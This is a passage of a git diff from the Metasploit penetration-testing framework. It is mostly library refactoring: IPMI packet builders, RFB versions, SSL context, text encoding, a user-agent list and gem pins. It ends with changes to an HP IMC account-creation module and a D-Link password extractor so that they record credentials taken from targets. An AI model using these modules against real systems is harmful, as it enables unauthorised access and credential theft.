0x20, 0x18, 0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5 ].pack("C*") end @@ -36,20 +36,20 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x08, # HMAC-SHA1 - 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x08, # AES Encryption 0x01, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end @@ -68,39 +68,43 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x08, - # No Encryption + # No Encryption 0x00, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username) - [ + head = [ 0x06, 0x00, 0xff, 0x07, # RMCP Header 0x06, # RMCP+ Authentication Type PAYLOAD_RAKP1, # Payload Type - 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, - 0x00, 0x00, 0x00, 0x00 - ].pack("C*") + - bmc_session_id + - console_random_id + - [ - 0x14, 0x00, 0x00, - username.length - ].pack("C*") + - username + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + ].pack("C*") + + data = + [0x00, 0x00, 0x00, 0x00].pack("C*") + + bmc_session_id + + console_random_id + + [ + 0x14, 0x00, 0x00, + username.length + ].pack("C*") + + username + + head + [data.length].pack('v') + data end @@ -109,7 +113,7 @@ class Utils bmc_sid + con_rid + bmc_rid + - bmc_gid + + bmc_gid + [ auth_level ].pack("C") + [ username.length ].pack("C") + username @@ -122,4 +126,4 @@ class Utils end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/kdc_request.rb b/lib/rex/proto/kerberos/model/kdc_request.rb index 23fa03df5c..e54332739e 100644 --- a/lib/rex/proto/kerberos/model/kdc_request.rb +++ b/lib/rex/proto/kerberos/model/kdc_request.rb @@ -118,7 +118,7 @@ module Rex when 4 self.req_body = decode_asn1_req_body(val) else - raise ::RuntimeError, 'Filed to decode KdcRequest SEQUENCE' + raise ::RuntimeError, 'Failed to decode KdcRequest SEQUENCE' end end end @@ -163,4 +163,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/rfb/client.rb b/lib/rex/proto/rfb/client.rb index b80247db8d..684682f89f 100644 --- a/lib/rex/proto/rfb/client.rb +++ b/lib/rex/proto/rfb/client.rb @@ -24,7 +24,7 @@ class Client @opts = opts @banner = nil - @majver = MajorVersion + @majver = MajorVersions @minver = -1 @auth_types = [] end @@ -50,7 +50,7 @@ class Client if @banner =~ /RFB ([0-9]{3})\.([0-9]{3})/ maj = $1.to_i - if maj != MajorVersion + unless MajorVersions.include?(maj) @error = "Invalid major version number: #{maj}" return false end @@ -61,7 +61,12 @@ class Client @minver = $2.to_i - our_ver = "RFB %03d.%03d\n" % [MajorVersion, @minver] + # Forces version 3 to be used. This adds support for version 4 servers. + # It may be necessary to hardcode minver as well. + # TODO: Add support for Version 4. + # Version 4 adds additional information to the packet regarding supported + # authentication types. + our_ver = "RFB %03d.%03d\n" % [3, @minver] @sock.put(our_ver) true diff --git a/lib/rex/proto/rfb/constants.rb b/lib/rex/proto/rfb/constants.rb index 51bc88ec0b..0044e24b03 100644 --- a/lib/rex/proto/rfb/constants.rb +++ b/lib/rex/proto/rfb/constants.rb @@ -19,7 +19,7 @@ module RFB DefaultPort = 5900 # Version information -MajorVersion = 3 +MajorVersions = [3, 4] # NOTE: We will emulate whatever minor version the server reports. # Security types diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 1866ba37cf..50c4924449 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -56,6 +56,7 @@ class Rex::Socket::Parameters # @option hash [Bool] 'Bool' Create a bare socket # @option hash [Bool] 'Server' Whether or not this should be a server # @option hash [Bool] 'SSL' Whether or not SSL should be used + # @option hash [OpenSSL::SSL::SSLContext] 'SSLContext' Use a pregenerated SSL Context # @option hash [String] 'SSLVersion' Specify Auto, SSL2, SSL3, or TLS1 (Auto is # default) # @option hash [String] 'SSLCert' A file containing an SSL certificate (for @@ -117,6 +118,10 @@ class Rex::Socket::Parameters self.ssl = false end + if hash['SSLContext'] + self.sslctx = hash['SSLContext'] + end + supported_ssl_versions = ['Auto', 'SSL2', 'SSL23', 'TLS1', 'SSL3', :Auto, :SSLv2, :SSLv3, :SSLv23, :TLSv1] if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion']) self.ssl_version = hash['SSLVersion'] @@ -324,6 +329,10 @@ class Rex::Socket::Parameters # @return [Bool] attr_accessor :ssl + # Pre configured SSL Context to use + # @return [OpenSSL::SSL::SSLContext] + attr_accessor :sslctx + # What version of SSL to use (Auto, SSL2, SSL3, SSL23, TLS1) # @return [String,Symbol] attr_accessor :ssl_version diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index ff34271f91..ca92f0852a 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -56,52 +56,38 @@ begin def initsock(params = nil) super - # The autonegotiation preference for SSL/TLS versions - versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2] + # Default to SSLv23 (automatically negotiate) + version = :SSLv23 - # Limit this to a specific SSL/TLS version if specified + # Let the caller specify a particular SSL/TLS version if params case params.ssl_version when 'SSL2', :SSLv2 - versions = [:SSLv2] + version = :SSLv2 when 'SSL23', :SSLv23 - versions = [:SSLv23] + version = :SSLv23 when 'SSL3', :SSLv3 - versions = [:SSLv3] - when 'TLS1', :TLSv1 - versions = [:TLSv1] - else - # Leave the version list as-is (Auto) + version = :SSLv3 + when 'TLS1','TLS1.0', :TLSv1 + version = :TLSv1 + when 'TLS1.1', :TLSv1_1 + version = :TLSv1_1 + when 'TLS1.2', :TLSv1_2 + version = :TLSv1_2 end end - # Limit our versions to those supported by the linked OpenSSL library - versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v } - # Raise an error if no selected versions are supported - if versions.length == 0 + if ! OpenSSL::SSL::SSLContext::METHODS.include? version raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version' end - last_error = nil + # Try intializing the socket with this SSL/TLS version + # This will throw an exception if it fails + initsock_with_ssl_version(params, version) - # Iterate through SSL/TLS versions until we successfully negotiate - versions.each do |version| - begin - # Try intializing the socket with this SSL/TLS version - # This will throw an exception if it fails - initsock_with_ssl_version(params, version) - - # Success! Record what method was used and return - self.ssl_negotiated_version = version - return - rescue OpenSSL::SSL::SSLError => e - last_error = e - end - end - - # No SSL/TLS versions succeeded, raise the last error - raise last_error + # Track the SSL version + self.ssl_negotiated_version = version end def initsock_with_ssl_version(params, version) @@ -137,9 +123,6 @@ begin # Tie the context to a socket self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx) - # XXX - enabling this causes infinite recursion, so disable for now - # self.sslsock.sync_close = true - # Force a negotiation timeout begin Timeout.timeout(params.timeout) do diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 742685d596..d064f1d99a 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -48,8 +48,14 @@ module Rex::Socket::SslTcpServer end def initsock(params = nil) - raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - self.sslctx = makessl(params) + raise RuntimeError, 'No OpenSSL support' unless @@loaded_openssl + + if params && params.sslctx && params.sslctx.kind_of?(OpenSSL::SSL::SSLContext) + self.sslctx = params.sslctx + else + self.sslctx = makessl(params) + end + super end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index d321b573d1..b5dfe85fb9 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -4,17 +4,7 @@ require 'digest/sha1' require 'stringio' require 'cgi' require 'rex/powershell' - -%W{ iconv zlib }.each do |libname| - begin - old_verbose = $VERBOSE - $VERBOSE = nil - require libname - rescue ::LoadError - ensure - $VERBOSE = old_verbose - end -end +require 'zlib' module Rex @@ -55,7 +45,8 @@ module Text DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ] - # In case Iconv isn't loaded + # The Iconv translation table. The Iconv gem is deprecated in favor of + # String#encode, yet there is no encoding for EBCDIC. See #4525 Iconv_EBCDIC = [ "\x00", "\x01", "\x02", "\x03", "7", "-", ".", "/", "\x16", "\x05", "%", "\v", "\f", "\r", "\x0E", "\x0F", "\x10", "\x11", "\x12", "\x13", @@ -374,31 +365,26 @@ module Text return str end + # Converts US-ASCII to UTF-8, skipping over any characters which don't + # convert cleanly. This is a convenience method that wraps + # String#encode with non-raising default paramaters. # - # Converts ISO-8859-1 to UTF-8 - # + # @param str [String] An encodable ASCII string + # @return [String] a UTF-8 equivalent + # @note This method will discard invalid characters def self.to_utf8(str) - - if str.respond_to?(:encode) - # Skip over any bytes that fail to convert to UTF-8 - return str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' }) - end - - begin - Iconv.iconv("utf-8","iso-8859-1", str).join(" ") - rescue - raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" - end + str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' }) end - # - # Converts ASCII to EBCDIC - # class IllegalSequence < ArgumentError; end - # A native implementation of the ASCII->EBCDIC table, used to fall back from using - # Iconv - def self.to_ebcdic_rex(str) + # A native implementation of the ASCII to EBCDIC conversion table, since + # EBCDIC isn't available to String#encode as of Ruby 2.1 + # + # @param str [String] An encodable ASCII string + # @return [String] an EBCDIC encoded string + # @note This method will raise in the event of invalid characters + def self.to_ebcdic(str) new_str = [] str.each_byte do |x| if Iconv_ASCII.index(x.chr) @@ -410,9 +396,13 @@ module Text new_str.join end - # A native implementation of the EBCDIC->ASCII table, used to fall back from using - # Iconv - def self.from_ebcdic_rex(str) + # A native implementation of the EBCIDC to ASCII conversion table, since + # EBCDIC isn't available to String#encode as of Ruby 2.1 + # + # @param str [String] an EBCDIC encoded string + # @return [String] An encodable ASCII string + # @note This method will raise in the event of invalid characters + def self.from_ebcdic(str) new_str = [] str.each_byte do |x| if Iconv_EBCDIC.index(x.chr) @@ -424,29 +414,6 @@ module Text new_str.join end - def self.to_ebcdic(str) - begin - Iconv.iconv("EBCDIC-US", "ASCII", str).first - rescue ::Iconv::IllegalSequence => e - raise e - rescue - self.to_ebcdic_rex(str) - end - end - - # - # Converts EBCIDC to ASCII - # - def self.from_ebcdic(str) - begin - Iconv.iconv("ASCII", "EBCDIC-US", str).first - rescue ::Iconv::IllegalSequence => e - raise e - rescue - self.from_ebcdic_rex(str) - end - end - # # Returns the words in +str+ as an Array. # diff --git a/lib/rex/ui/text/color.rb b/lib/rex/ui/text/color.rb index e5265f53c2..1a412d53ed 100644 --- a/lib/rex/ui/text/color.rb +++ b/lib/rex/ui/text/color.rb @@ -75,6 +75,15 @@ module Color str.gsub!(/%und/, pre_color+colorize('underline')+post_color) str.gsub!(/%bld/, pre_color+colorize('bold')+post_color) str.gsub!(/%clr/, pre_color+colorize('clear')+post_color) + # Background Color + str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color) + str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color) + str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color) + str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color) + str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color) + str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color) + str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color) + str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color) str end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index faa889eecb..c925e843a4 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -426,6 +426,7 @@ module DispatcherShell else dispatcher.send('cmd_' + method, *arguments) end + ensure self.busy = false end diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 87b660d6c6..52da87c5f4 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -203,6 +203,10 @@ class Table cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/ cmp = a[index].to_i <=> b[index].to_i + elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4? + cmp = 1 + elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6? + cmp = -1 else cmp = a[index] <=> b[index] # assumes otherwise comparable. end diff --git a/lib/rex/user_agent.rb b/lib/rex/user_agent.rb new file mode 100644 index 0000000000..9e67b0438a --- /dev/null +++ b/lib/rex/user_agent.rb @@ -0,0 +1,118 @@ +# -*- coding: binary -*- + +# +# A helper module for using and referencing comming user agent strings. +# +module Rex::UserAgent + + # + # List from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ + # This article was updated on July 11th 2015. It's probably worth updating this + # list over time. + # + # This list is in the order of most common to least common. + # + COMMON_AGENTS = [ + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17', + 'Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15', + 'Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4', + 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', + 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', + 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10', + 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0', + 'Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16', + 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0', + ] + + # + # Pick a random agent from the common agent list. + # + def self.random + COMMON_AGENTS.sample + end + + # + # Choose the agent with the shortest string (for use in payloads) + # + def self.shortest + @@shortest_agent ||= COMMON_AGENTS.min { |a, b| a.size <=> b.size } + end + + # + # Choose the most frequent user agent + # + def self.most_common + COMMON_AGENTS[0] + end + +end + diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 5b261dbf35..7f5211f076 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' + spec.add_runtime_dependency 'metasploit-credential', '1.0.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.5' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 41d93d8c7c..3ef681604f 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -30,13 +30,10 @@ Gem::Specification.new do |spec| spec.bindir = '.' spec.executables = [ 'msfbinscan', - 'msfcli', 'msfconsole', 'msfd', 'msfelfscan', - 'msfencode', 'msfmachscan', - 'msfpayload', 'msfpescan', 'msfrop', 'msfrpc', @@ -59,12 +56,12 @@ Gem::Specification.new do |spec| # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' # Metasploit::Concern hooks - spec.add_runtime_dependency 'metasploit-concern', '~> 1.0' + spec.add_runtime_dependency 'metasploit-concern', '1.0.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 1.0' - # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '0.0.7' + spec.add_runtime_dependency 'metasploit-model', '1.0.0' + # Needed for Meterpreter + spec.add_runtime_dependency 'metasploit-payloads', '1.0.12' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler @@ -74,7 +71,7 @@ Gem::Specification.new do |spec| # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting - spec.add_runtime_dependency 'recog', '~> 1.0' + spec.add_runtime_dependency 'recog', '2.0.6' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 4f5d3de838..1941291594 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary return nil end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run print_status("#{peer} - Trying to find the service desk service strong name...") @@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary login_url = ssl ? "https://" : "http://" login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp" - report_auth_info({ - :host => rhost, - :port => rport, - :user => datastore["USERNAME"], - :pass => datastore["PASSWORD"], - :type => "password", - :sname => (ssl ? "https" : "http"), - :proof => "#{login_url}\n#{res.body}" - }) + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? "https" : "http"), + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: "#{login_url}\n#{res.body}" + ) + print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") print_status("#{peer} - Use it to log into #{login_url}") end diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index cb95df48c3..533a7d5074 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary ) end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, 